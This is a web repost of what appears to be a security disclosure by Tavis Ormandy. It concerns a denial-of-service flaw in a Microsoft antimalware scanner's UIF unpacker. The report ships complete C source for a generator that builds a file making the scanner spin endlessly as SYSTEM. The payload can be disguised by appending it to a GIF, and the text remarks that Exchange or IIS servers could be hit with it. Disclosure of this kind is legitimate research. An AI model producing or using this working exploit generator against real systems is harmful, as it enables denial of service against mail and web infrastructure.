The UIF (Universal Image Format) is a proprietary file format used by the old shareware utility MagicISO. Microsoft have a dedicated unpacker for UIF that runs as SYSTEM on all filesystem activity (!?!).
The UIF format has an index structure at a fixed offset from the end of the file, with a pointer to contiguous block descriptions that describe how to reconstruct the output from data scattered throughout the file. I noticed that UIF has a "sparse" block type that just outputs chunks of nuls. Microsoft write them out like this:
while (write(TempFile, Buffer, SectorSize) == SectorSize)
BytesWritten += SectorSize;
All of these parameters are read from the file, so you can make it spin creating this sparse data for as long as you want. This means you can make a file that takes as long as you want to scan, wasting as many cores as you want and you have to reboot to fix it.
A testcase and the C code I used to generate it is attached. I called it .gif, but I don't think file extension is relevant to this attack.
I'm filing this with low priority, but I suppose you could DoS an ForeFront, IIS, or Exchange server with it quite effectively, I don't know.
```
// Compile:
// $ gcc -o uifspin uifspin.c -lz
//
// Usage:
// $ ./uifspin > testcase.txt
//
// (Or, you can provide a template file, and it will append a testcase to it)
//
// $ ./uifspin template.gif > testcase.gif
// $ file testcase.gif
// testcase.gif: GIF image data, version 89a, 400 x 300
//
```
`uifspin.c`
```
#include <stdio.h>
#include <stdint.h>
#include <limits.h>
#include <zlib.h>
#include <err.h>
#include <stdbool.h>
#include <stdlib.h>
#pragma pack(1)
// The UIF (Universal Image Format) is a proprietary file format used by the
// old shareware utility MagicISO. Microsoft have a dedicated unpacker for UIF
// that runs as SYSTEM on all filesystem activity (!?!).
//
// The UIF format has an index structure at a fixed offset from the end of the
// file, with a pointer to contiguous block descriptions that describe how to
// reconstruct the output from data scattered throughout the file.
//
// I noticed that UIF has a "sparse" block type that just outputs chunks of nuls.
// Microsoft write them out like this:
//
// while (write(TempFile, Buffer, SectorSize) == SectorSize)
// BytesWritten += SectorSize;
//
// All of these parameters are read from the file, so you can make it spin
// creating this sparse data for as long as you want. This means you can
// make a file that takes as long as you want to scan, wasting as many cores as
// you want and you have to reboot to fix it.
//
// Compile:
// $ gcc -o uifspin uifspin.c -lz
//
// Usage:
// $ ./uifspin > testcase.txt
//
// (Or, you can provide a template file, and it will append a testcase to it)
//
// $ ./uifspin template.gif > testcase.gif
// $ file testcase.gif
// testcase.gif: GIF image data, version 89a, 400 x 300
//
// Tavis Ormandy <taviso@google.com>, May 2017
#define NUM_SPARSE_BLOCKS (1<<17) // Each block takes a few minutes to process.
#define MAX_COMPRESSED_SIZE 32768 // How much the compressed block data headers will need.
// Set the maximum sparse file size, in versions before 1.1.13701.0 the limit
// was INT_MAX. After 1.1.13701.0, the limit was changed to 0x1000000, but that
// still takes a long time to process.
//#define MAX_TEMPFILE_SIZE INT_MAX
#define MAX_TEMPFILE_SIZE 0x1000000
struct bbishdr {
uint32_t magic;
uint32_t size;
uint16_t ver;
uint16_t imagetype;
uint32_t field_C;
uint32_t sectors;
uint32_t sectorsize;
uint32_t lastdiff;
uint64_t blhr;
uint32_t blhrbbissz;
uint8_t hash[16];
uint32_t key[2];
};
struct blhrhdr {
uint32_t magic;
uint32_t size;
uint32_t compressed;
uint32_t numblocks;
};
struct blockdata {
uint64_t offset;
uint32_t zsize;
uint32_t sector;
uint32_t size;
uint32_t type;
};
static uint8_t zblockbuf[MAX_COMPRESSED_SIZE];
static struct blockdata blkdata[NUM_SPARSE_BLOCKS];
int main(int argc, char **argv)
{
struct bbishdr bbishdr = {0};
struct blhrhdr blhrhdr = {0};
z_stream zstream = {0};
FILE *template;
int i;
if (deflateInit2(&zstream,
Z_BEST_COMPRESSION,
Z_DEFLATED,
15,
MAX_MEM_LEVEL,
Z_DEFAULT_STRATEGY) != Z_OK) {
err(EXIT_FAILURE, "failed to initialize zlib library");
}
for (i = 0; i < NUM_SPARSE_BLOCKS; i++) {
blkdata[i].offset = 0;
blkdata[i].sector = 0; // vfo_seek(TempFile, bbishdr.sectorsize * blkdata.sector)
blkdata[i].size = MAX_TEMPFILE_SIZE; // vfo_write() will create this size file.
blkdata[i].type = 3; // Sparse chunk.
}
zstream.avail_in = sizeof(blkdata);
zstream.next_in = (void *) &blkdata;
zstream.avail_out = sizeof(zblockbuf);
zstream.next_out = zblockbuf;
if (deflate(&zstream, Z_FINISH) != Z_STREAM_END) {
err(EXIT_FAILURE, "deflate() failed to create compressed payload, %s", zstream.msg);
}
if (deflateEnd(&zstream) != Z_OK) {
err(EXIT_FAILURE, "deflateEnd() returned failure, %s", zstream.msg);
}
blhrhdr.magic = ntohl('blhr');
blhrhdr.size = zstream.total_out;
blhrhdr.numblocks = NUM_SPARSE_BLOCKS;
bbishdr.magic = ntohl('bbis');
bbishdr.sectors = 1; // If blkdata[i].sector exceeds this, then fail.
bbishdr.sectorsize = 1; // This changes the size of each write(), smaller is slower.
bbishdr.blhr = 0; // File byte offset of blhr
// Optionally prepend a template file, e.g an image or document.
if (argv[1]) {
if ((template = fopen(argv[1], "r")) == NULL) {
err(EXIT_FAILURE, "failed to open template file %s", argv[1]);
}
while ((i = fgetc(template)) != EOF) {
bbishdr.blhr++;
fputc(i, stdout);
}
fclose(template);
}
fwrite(&blhrhdr, sizeof blhrhdr, 1, stdout);
fwrite(&zblockbuf, zstream.total_out, 1, stdout);
fwrite(&bbishdr, sizeof bbishdr, 1, stdout);
return 0;
}
```
`exploit.gif `

全部评论 (1)